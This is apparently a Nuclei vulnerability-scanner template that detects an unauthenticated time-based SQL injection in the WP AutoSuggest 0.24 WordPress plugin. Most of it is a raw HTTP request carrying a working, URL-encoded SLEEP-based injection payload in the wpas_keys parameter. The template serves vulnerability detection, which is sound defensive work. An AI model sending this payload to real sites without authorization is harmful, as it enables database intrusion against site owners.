id: wp-autosuggest-sql-injection

info:
  name: WP AutoSuggest 0.24 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The wp-autosuggest WordPress plugin was affected by an Unauthenticated SQL Injection security vulnerability.
  reference:
    - https://wpscan.com/vulnerability/9188
    - https://wordpress.org/plugins/wp-autosuggest/
  metadata:
    verified: true
    max-request: 1
  tags: time-based-sqli,wp-plugin,wp,wp-autosuggest,wpscan,sqli,wordpress

http:
  - raw:
      - |
        @timeout: 20s
        GET /wp-content/plugins/wp-autosuggest/autosuggest.php?wpas_action=query&wpas_keys=1%27%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5202%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%28SLEEP%286%29%29%29yRVR%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28%27dwQZ%27%2F%2A%2A%2FLIKE%2F%2A%2A%2F%27dwQZ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/xml")'
          - 'contains(body, "<results>")'
        condition: and
# digest: 490a00463044022013d6ffc8a375c62df425bbeffc8439f79640f2e394190770734920fc84bc32ae02205548d7029dda35a7e9eaac105afac9a79b04f718b05d87d80a36e12d909f56ed:922c64590222798bb761d5b6d8e72950